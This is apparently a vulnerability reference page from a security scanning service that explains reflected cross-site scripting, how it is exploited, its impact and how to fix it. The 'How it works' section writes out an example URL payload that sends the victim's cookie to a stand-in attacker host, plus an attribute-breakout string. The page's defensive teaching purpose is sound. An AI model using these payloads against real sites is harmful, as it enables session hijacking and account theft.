SSL Certificate Analysis Open Port Detection Web Application Scanning DNS Security Audit HTTP Header Analysis Misconfiguration Detection Software Fingerprinting Subdomain Enumeration
SSL Certificate Analysis Open Port Detection Web Application Scanning DNS Security Audit HTTP Header Analysis Misconfiguration Detection Software Fingerprinting Subdomain Enumeration

All Entries

Category Injection / Client-Side
Typical Severity High
OWASP A03:2021 – Injection
CWE CWE-79 – Improper Neutralization of Input During Web Page Generation
Also known as Non-persistent XSS, Type-1 XSS, Reflected Script Injection
Affected systems Web applications that reflect user-supplied input in HTML responses (search boxes, error pages, URL parameters, form fields)
Exploit prerequisites Victim must be socially engineered into clicking a crafted URL; no server-side state is required

Overview

Reflected Cross-Site Scripting (XSS) is a class of injection vulnerability in which an attacker supplies malicious script code as part of an HTTP request — typically in a URL query parameter, path segment, or POST field — and the server immediately includes that input verbatim (or with insufficient encoding) in the HTTP response. When the victim's browser parses the response, it executes the injected script in the security context of the target origin.

Unlike stored XSS, reflected payloads are not persisted on the server. The attack is delivered transiently, usually via a malicious hyperlink shared through email, social media, or a redirector. This "non-persistent" nature means each victim must individually load the crafted URL.

How it works

The attack lifecycle consists of four stages:

  1. Payload construction: The attacker crafts a URL whose parameters contain a script payload, for example: https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
  2. Delivery: The victim is tricked into clicking the link (phishing email, shortened URL, open redirect, etc.).
  3. Server reflection: The application reads the q parameter and writes it directly into the HTML response — for example inside a "You searched for: …" paragraph — without HTML-encoding special characters.
  4. Browser execution: The browser parses the response, encounters the injected <script> tag (or an event handler, javascript: URI, or other injection context), and executes it under the application's origin.

Injection contexts that are commonly exploited include:

  • HTML body context — unencoded output between tags allows raw tag injection.
  • HTML attribute context — values inserted inside tag attributes without quoting enable attribute breakout (e.g., " onmouseover="alert(1)).
  • JavaScript context — data written inside a <script> block or an inline event handler without JS string escaping allows logic injection.
  • URL context — attacker-controlled href or src values may accept javascript: URIs.
  • CSS context — values reflected inside style attributes can exploit expression() in legacy browsers or leak data.

Modern browsers implement an XSS Auditor (deprecated) or rely on Content Security Policy (CSP) rather than built-in filters. Bypasses using character encoding tricks, HTML parser quirks, or DOM sinks remain a constant research area.

Business impact

A successful reflected XSS exploit executes arbitrary JavaScript in the victim's browser under the vulnerable application's origin. Concrete consequences include:

  • Session hijacking: Theft of session cookies (where HttpOnly is absent) allows full account takeover without credentials.
  • Credential harvesting: Injected scripts can rewrite the page DOM to present fake login forms, capturing usernames and passwords.
  • Malware distribution: The script can silently redirect users to exploit kits or trigger drive-by downloads.
  • Data exfiltration: Sensitive page content, CSRF tokens, or API keys visible in the DOM can be exfiltrated to attacker-controlled infrastructure.
  • Defacement and reputation damage: Visible manipulation of page content can erode user trust in the brand.
  • Compliance exposure: Exploitation affecting personal data may trigger GDPR, HIPAA, or PCI-DSS breach notification obligations.

Because the attack requires user interaction rather than persistent server compromise, it is frequently underestimated. However, large-scale phishing campaigns can weaponise a single reflected XSS endpoint to affect thousands of users.

How to fix it

  1. Context-aware output encoding (primary control): Encode all untrusted data before inserting it into an HTML response. Use the appropriate encoding function for each injection context:
    • HTML body: HTML-entity encode (&amp;, &lt;, &gt;, &quot;, &#x27;).
    • HTML attribute: Attribute-encode and always quote attribute values.
    • JavaScript: JavaScript-encode (Unicode escape sequences) or use a safe JSON serialiser.
    • URL parameters: Percent-encode with strict allowlist.
  2. Use a proven template engine with auto-escaping: Frameworks such as Django templates, Jinja2 (autoescaping on), Razor, Thymeleaf, and Angular's template engine escape by default. Avoid disabling auto-escape (|safe, dangerouslySetInnerHTML, bypassSecurityTrustHtml) unless absolutely necessary.
  3. Implement a strict Content Security Policy (CSP): Deploy a CSP header (Content-Security-Policy) that disallows inline scripts ('unsafe-inline') and restricts script sources to known, trusted origins. A nonce- or hash-based CSP provides defence-in-depth even if encoding is imperfect.
  4. Validate and reject malformed input: Apply server-side input validation using an allowlist of expected characters or formats. Reject — rather than sanitise — inputs that do not conform, where business logic permits.
  5. Set security-sensitive cookie attributes: Mark session cookies as HttpOnly (prevents JS access) and Secure (TLS-only transmission). Use SameSite=Strict or SameSite=Lax to reduce cross-site request risk.
  6. Enable the X-XSS-Protection header (legacy browsers only): Though deprecated, setting X-XSS-Protection: 1; mode=block activates rudimentary XSS filtering in older Internet Explorer and Chrome versions. It is not a substitute for encoding.
  7. Sanitise rich HTML with a trusted library: If the application must accept and render HTML (e.g., a WYSIWYG editor), use a well-maintained allowlist-based HTML sanitiser such as DOMPurify rather than custom regex filtering.
  8. Conduct regular security testing: Include XSS test cases in automated CI/CD pipelines, perform manual penetration testing of all input/output paths, and use Sensagraph to continuously scan for reflected XSS exposures across production endpoints.

References

Frequently asked questions

In reflected XSS, the malicious payload is part of the HTTP request and is immediately echoed back in the server's response — it is never stored on the server. Each victim must individually load a crafted URL. In stored (persistent) XSS, the payload is saved to the server (e.g., in a database) and served to all subsequent visitors who load the affected page, without any additional attacker interaction.

No. HTTPS encrypts the transport channel and prevents network-level interception, but it does not affect how the server processes or reflects input. A page served over HTTPS can still be vulnerable to reflected XSS if it echoes unencoded user input in the response.

WAFs provide a useful defence-in-depth layer by blocking known XSS patterns, but they are not a complete solution. Attackers frequently bypass WAF rules through encoding tricks, unusual HTML parser behaviour, or novel injection vectors. Proper output encoding and a strict Content Security Policy at the application layer are the primary controls.

Cookie-blocking policies primarily affect third-party tracking cookies. Session cookies set by the first-party application are still accessible to scripts running in that origin. Reflected XSS can still steal session cookies, manipulate the DOM, harvest credentials, or perform actions on behalf of the victim regardless of third-party cookie restrictions.

A CSP nonce is a randomly generated, per-request cryptographic value embedded in the Content-Security-Policy header and in each legitimate script tag's nonce attribute. The browser only executes script tags that carry the matching nonce. Because an attacker cannot know the nonce in advance, injected script tags are blocked even if encoding is bypassed — providing meaningful defence-in-depth.